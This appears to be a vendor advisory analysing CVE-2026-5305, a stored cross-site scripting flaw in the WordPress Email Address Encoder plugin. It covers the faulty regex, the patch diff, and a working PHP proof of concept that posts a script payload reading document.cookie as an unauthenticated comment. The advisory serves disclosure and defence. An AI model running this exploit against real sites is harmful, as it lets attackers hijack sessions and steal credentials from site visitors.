Atomic Edge analysis of CVE-2026-5305:
The Email Address Encoder plugin for WordPress versions below 1.0.25 (free) and below 0.3.12 (premium) contain an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw resides in the regex pattern used to detect email addresses within post content. The regex accepts quoted local parts of email addresses without proper sanitization, allowing an attacker to inject arbitrary HTML and JavaScript. This vulnerability is assigned a CVSS score of 7.2.
Root cause: The vulnerable regex pattern is defined in /email-address-encoder/email-address-encoder.php on lines 34-44. The original pattern includes the alternation ‘|””‘ on line 39, which matches a double-quoted local part of an email address. This component captures content between quotes without restricting the characters allowed. When the plugin subsequently encodes matched email addresses, it does not escape or validate the content within these quotes. The broken regex effectively passes unsanitized user input directly into the output HTML.
Exploitation: An unauthenticated attacker can submit a comment, post, or any user-generated content containing a crafted string that matches the vulnerable regex. The payload follows the format ‘”alert(1)”@example.com’. When the plugin processes this content, it encodes the email address but preserves the injected script. Any user viewing the affected page will execute the script.
Patch Analysis: The patch removes the quoted local part alternative ‘””‘ from the regex pattern on line 39 of the diff. This eliminates the ability to inject content within double quotes as part of the email address pattern. After patching, the regex only matches local parts consisting of standard characters (letters, digits, and specific symbols), which cannot contain script payloads.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the affected page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. Because the vulnerability requires no authentication, the attack surface includes all visitors to the WordPress site.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/email-address-encoder/email-address-encoder.php
+++ b/email-address-encoder/email-address-encoder.php
@@ -3,7 +3,7 @@
Plugin Name: Email Address Encoder
Plugin URI: https://encoder.till.im/
Description: A lightweight plugin that protects email addresses from email-harvesting robots by encoding them into decimal and hexadecimal entities.
-Version: 1.0.24
+Version: 1.0.25
Author: Till Krüss
Author URI: https://till.im/
Text Domain: email-address-encoder
@@ -34,8 +34,6 @@
(?:mailto:)?
(?:
[-!#$%&*+/=?^_`.{|}~wx80-xFF]+
- |
- ".*?"
)
@
(?:
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5305 - Email Encoder < 0.3.12 (premium) < 1.0.25 (free) - Unauthenticated Stored Cross-Site Scripting
$target_url = 'http://example.com'; // Change this to the target WordPress site
// The payload is a fake email address with a quoted local part containing JavaScript
$payload = '"<script>alert(document.cookie)</script>"@example.com';
// We inject the payload into a new post or comment. For demonstration, we use a POST request to /wp-comments-post.php
// which is typically accessible without authentication.
$comment_data = array(
'comment' => $payload,
'author' => 'Attacker',
'email' => 'attacker@example.com',
'url' => '',
'comment_post_ID' => 1, // Target a valid post ID
'submit' => 'Post Comment'
);
$ch = curl_init($target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge PoC');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 || $http_code == 302) {
echo "Payload submitted successfully.n";
echo "The injected comment will execute when a user views the post.n";
} else {
echo "Failed to submit payload. HTTP code: $http_coden";
}
